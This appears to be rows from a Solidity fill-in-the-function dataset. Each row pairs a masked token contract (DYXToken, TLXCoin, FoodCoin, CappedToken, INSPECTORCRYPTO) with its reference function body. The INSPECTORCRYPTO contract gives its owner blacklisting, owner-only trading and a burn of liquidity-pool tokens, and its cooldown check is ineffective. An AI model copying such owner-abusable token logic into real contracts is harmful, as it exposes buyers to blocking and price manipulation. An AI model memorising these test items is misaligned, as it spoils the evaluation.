/// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(address _tokenAddress, uint256 _auctionNumber, uint256 _bidAmount) internal
5443
DYXToken
null
contract DYXToken is StandardToken { string public name; string public symbol; uint8 public decimals; constructor() public {<FILL_FUNCTION_BODY> } }
contract DYXToken is StandardToken { string public name; string public symbol; uint8 public decimals; <FILL_FUNCTION> }
name = "DYXToken"; symbol = "DYX"; decimals = 8; totalSupply_ = 10000000000000000000; balances[0xB60f1adC02c29d3e92BED071D3B8533ad85a5fc8] = totalSupply_; emit Transfer(address(0), 0xB60f1adC02c29d3e92BED071D3B8533ad85a5fc8, totalSupply_);
constructor() public
constructor() public
8539
Ownable
null
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal {<FILL_FUNCTION_BODY> } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor () internal
/** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal
5831
TLXCoin
transferFrom
contract TLXCoin { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; string public name = "TLX Coin"; string public symbol = "TLX"; uint8 public decimals = 6; uint256 public totalSupply = 100000000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { // Initially assign all tokens to the contract's creator. balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract TLXCoin { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; string public name = "TLX Coin"; string public symbol = "TLX"; uint8 public decimals = 6; uint256 public totalSupply = 100000000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { // Initially assign all tokens to the contract's creator. balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } <FILL_FUNCTION> }
require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true;
function transferFrom(address from, address to, uint256 value) public returns (bool success)
function transferFrom(address from, address to, uint256 value) public returns (bool success)
27407
Owner
ownerOn
contract Owner { // Token Name string public name = "FoodCoin"; // Token Symbol string public symbol = "FOOD"; // Decimals uint256 public decimals = 8; // Version string public version = "v1"; // Emission Address address public emissionAddress = address(0); // Withdraw address address public withdrawAddress = address(0); // Owners Addresses mapping ( address => bool ) public ownerAddressMap; // Owner Address/Number mapping ( address => uint256 ) public ownerAddressNumberMap; // Owners List mapping ( uint256 => address ) public ownerListMap; // Amount of owners uint256 public ownerCountInt = 0; // Modifier - Owner modifier isOwner { require( ownerAddressMap[msg.sender]==true ); _; } // Owner Creation/Activation function ownerOn( address _onOwnerAddress ) external isOwner returns (bool retrnVal) {<FILL_FUNCTION_BODY> } // Owner disabled function ownerOff( address _offOwnerAddress ) external isOwner returns (bool retrnVal) { // If owner exist and he is not 0 and active // 0 owner can`t be off if ( ownerAddressNumberMap[ _offOwnerAddress ]>0 && ownerAddressMap[ _offOwnerAddress ] ) { ownerAddressMap[ _offOwnerAddress ] = false; retrnVal = true; } else { retrnVal = false; } } // Token name changing function function contractNameUpdate( string _newName, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { name = _newName; retrnVal = true; } else { retrnVal = false; } } // Token symbol changing function function contractSymbolUpdate( string _newSymbol, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { symbol = _newSymbol; retrnVal = true; } else { retrnVal = false; } } // Token decimals changing function function contractDecimalsUpdate( uint256 _newDecimals, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation && _newDecimals != decimals ) { decimals = _newDecimals; retrnVal = true; } else { retrnVal = false; } } // New token emission address setting up function emissionAddressUpdate( address _newEmissionAddress ) external isOwner { emissionAddress = _newEmissionAddress; } // New token withdrawing address setting up function withdrawAddressUpdate( address _newWithdrawAddress ) external isOwner { withdrawAddress = _newWithdrawAddress; } // Constructor adds owner to undeletable list function Owner() public { // Owner creation ownerAddressMap[ msg.sender ] = true; ownerAddressNumberMap[ msg.sender ] = ownerCountInt; ownerListMap[ ownerCountInt ] = msg.sender; ownerCountInt++; } }
contract Owner { // Token Name string public name = "FoodCoin"; // Token Symbol string public symbol = "FOOD"; // Decimals uint256 public decimals = 8; // Version string public version = "v1"; // Emission Address address public emissionAddress = address(0); // Withdraw address address public withdrawAddress = address(0); // Owners Addresses mapping ( address => bool ) public ownerAddressMap; // Owner Address/Number mapping ( address => uint256 ) public ownerAddressNumberMap; // Owners List mapping ( uint256 => address ) public ownerListMap; // Amount of owners uint256 public ownerCountInt = 0; // Modifier - Owner modifier isOwner { require( ownerAddressMap[msg.sender]==true ); _; } <FILL_FUNCTION> // Owner disabled function ownerOff( address _offOwnerAddress ) external isOwner returns (bool retrnVal) { // If owner exist and he is not 0 and active // 0 owner can`t be off if ( ownerAddressNumberMap[ _offOwnerAddress ]>0 && ownerAddressMap[ _offOwnerAddress ] ) { ownerAddressMap[ _offOwnerAddress ] = false; retrnVal = true; } else { retrnVal = false; } } // Token name changing function function contractNameUpdate( string _newName, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { name = _newName; retrnVal = true; } else { retrnVal = false; } } // Token symbol changing function function contractSymbolUpdate( string _newSymbol, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { symbol = _newSymbol; retrnVal = true; } else { retrnVal = false; } } // Token decimals changing function function contractDecimalsUpdate( uint256 _newDecimals, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation && _newDecimals != decimals ) { decimals = _newDecimals; retrnVal = true; } else { retrnVal = false; } } // New token emission address setting up function emissionAddressUpdate( address _newEmissionAddress ) external isOwner { emissionAddress = _newEmissionAddress; } // New token withdrawing address setting up function withdrawAddressUpdate( address _newWithdrawAddress ) external isOwner { withdrawAddress = _newWithdrawAddress; } // Constructor adds owner to undeletable list function Owner() public { // Owner creation ownerAddressMap[ msg.sender ] = true; ownerAddressNumberMap[ msg.sender ] = ownerCountInt; ownerListMap[ ownerCountInt ] = msg.sender; ownerCountInt++; } }
// Check if it's a non-zero address require( _onOwnerAddress != address(0) ); // If the owner is already exist if ( ownerAddressNumberMap[ _onOwnerAddress ]>0 ) { // If the owner is disablead, activate him again if ( !ownerAddressMap[ _onOwnerAddress ] ) { ownerAddressMap[ _onOwnerAddress ] = true; retrnVal = true; } else { retrnVal = false; } } // If the owner is not exist else { ownerAddressMap[ _onOwnerAddress ] = true; ownerAddressNumberMap[ _onOwnerAddress ] = ownerCountInt; ownerListMap[ ownerCountInt ] = _onOwnerAddress; ownerCountInt++; retrnVal = true; }
function ownerOn( address _onOwnerAddress ) external isOwner returns (bool retrnVal)
// Owner Creation/Activation function ownerOn( address _onOwnerAddress ) external isOwner returns (bool retrnVal)
15995
YieldToken
mint
contract YieldToken is ERC20("yield-farming.io", "YIELDX"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract YieldToken is ERC20("yield-farming.io", "YIELDX"), Ownable { <FILL_FUNCTION> }
_mint(_to, _amount);
function mint(address _to, uint256 _amount) public onlyOwner
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner
30489
CappedToken
mint
contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> } }
contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } <FILL_FUNCTION> }
require(totalSupply.add(_amount) <= cap); return super.mint(_to, _amount);
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
8141
INSPECTORCRYPTO
_transfer
contract INSPECTORCRYPTO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => uint256) private _lastTX; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private _totalSupply = 1000000000 * 10**18; uint256 public _totalBurned; string private _name = "Inspector Crypto"; string private _symbol = "GADGET"; uint8 private _decimals = 18; address payable private _inspectorCrypto; address payable private _brain; uint256 public firstLiveBlock; uint256 public _wowsers = 4; uint256 public _goGoGadget = 9; uint256 private _previousWowsers = _wowsers; uint256 private _previousGoGadget = _goGoGadget; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount; uint256 public _maxHoldings = 50000000 * 10**18; //5% bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; bool public savePenny = true; bool public cooldown = true; uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); _inspectorCrypto = 0xd590BbD89fcfd49475EA0A56c1E0babFe2129581; _brain = 0x2A486038A11Af98A98Fc6B054b517cBC6B4328eA; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalBurned() public view returns (uint256) { return _totalBurned; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setInspectorCrypto(address payable _address) external onlyOwner { _inspectorCrypto = _address; } function setBrain(address payable _address) external onlyOwner { _brain = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**18; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**18; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setCooldown(bool enabled) external onlyOwner() { cooldown = enabled; } function setSavePenny(bool enabled) external onlyOwner() { savePenny = enabled; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**18; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; firstLiveBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _goGoGadgetArms(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetCopter() external onlyOwner { address _account = address(msg.sender); uint256 _amount = balanceOf(_account); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetmobile(uint _amount) private { _balance[address(this)] = _balance[address(this)].add(_amount); } function removeAllFee() private { if(_wowsers == 0 && _goGoGadget == 0) return; _previousWowsers = _wowsers; _previousGoGadget = _goGoGadget; _wowsers = 0; _goGoGadget = 0; } function restoreAllFee() private { _wowsers = _previousWowsers; _goGoGadget = _previousGoGadget; } function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(antiBotLaunch){ if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!takeFee) removeAllFee(); uint256 wowsers = amount.mul(_wowsers).div(100); uint256 goGoGadget = amount.mul(_goGoGadget).div(100); uint256 amountTransferred = amount.sub(goGoGadget).sub(wowsers); _balance[sender] = _balance[sender].sub(amount); _goGoGadgetmobile(goGoGadget); _balance[owner()] = _balance[owner()].add(wowsers); _balance[recipient] = _balance[recipient].add(amountTransferred); if(savePenny && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) { _goGoGadgetArms(uniswapV2Pair, wowsers); } emit Transfer(sender, recipient, amountTransferred); if(!takeFee) restoreAllFee(); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiq = (contractTokenBalance.div(5)); uint256 half = tokensForLiq.div(2); uint256 toSwap = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(half, newBalance); uint256 forInspection = (address(this).balance).mul(65).div(100); payable(_inspectorCrypto).transfer(forInspection); payable(_brain).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, half); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
contract INSPECTORCRYPTO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => uint256) private _lastTX; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private _totalSupply = 1000000000 * 10**18; uint256 public _totalBurned; string private _name = "Inspector Crypto"; string private _symbol = "GADGET"; uint8 private _decimals = 18; address payable private _inspectorCrypto; address payable private _brain; uint256 public firstLiveBlock; uint256 public _wowsers = 4; uint256 public _goGoGadget = 9; uint256 private _previousWowsers = _wowsers; uint256 private _previousGoGadget = _goGoGadget; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount; uint256 public _maxHoldings = 50000000 * 10**18; //5% bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; bool public savePenny = true; bool public cooldown = true; uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); _inspectorCrypto = 0xd590BbD89fcfd49475EA0A56c1E0babFe2129581; _brain = 0x2A486038A11Af98A98Fc6B054b517cBC6B4328eA; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalBurned() public view returns (uint256) { return _totalBurned; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setInspectorCrypto(address payable _address) external onlyOwner { _inspectorCrypto = _address; } function setBrain(address payable _address) external onlyOwner { _brain = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**18; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**18; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setCooldown(bool enabled) external onlyOwner() { cooldown = enabled; } function setSavePenny(bool enabled) external onlyOwner() { savePenny = enabled; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**18; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; firstLiveBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _goGoGadgetArms(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetCopter() external onlyOwner { address _account = address(msg.sender); uint256 _amount = balanceOf(_account); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetmobile(uint _amount) private { _balance[address(this)] = _balance[address(this)].add(_amount); } function removeAllFee() private { if(_wowsers == 0 && _goGoGadget == 0) return; _previousWowsers = _wowsers; _previousGoGadget = _goGoGadget; _wowsers = 0; _goGoGadget = 0; } function restoreAllFee() private { _wowsers = _previousWowsers; _goGoGadget = _previousGoGadget; } <FILL_FUNCTION> function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(antiBotLaunch){ if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!takeFee) removeAllFee(); uint256 wowsers = amount.mul(_wowsers).div(100); uint256 goGoGadget = amount.mul(_goGoGadget).div(100); uint256 amountTransferred = amount.sub(goGoGadget).sub(wowsers); _balance[sender] = _balance[sender].sub(amount); _goGoGadgetmobile(goGoGadget); _balance[owner()] = _balance[owner()].add(wowsers); _balance[recipient] = _balance[recipient].add(amountTransferred); if(savePenny && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) { _goGoGadgetArms(uniswapV2Pair, wowsers); } emit Transfer(sender, recipient, amountTransferred); if(!takeFee) restoreAllFee(); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiq = (contractTokenBalance.div(5)); uint256 half = tokensForLiq.div(2); uint256 toSwap = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(half, newBalance); uint256 forInspection = (address(this).balance).mul(65).div(100); payable(_inspectorCrypto).transfer(forInspection); payable(_brain).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, half); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to]); if(!tradingLive){ require(from == owner()); // only owner allowed to trade or add liquidity } if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(cooldown){ if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) { require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect"); _lastTX[tx.origin] = block.timestamp; } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){ _wowsers = 4; _goGoGadget = 9; } else { _wowsers = 9; _goGoGadget = 4; } 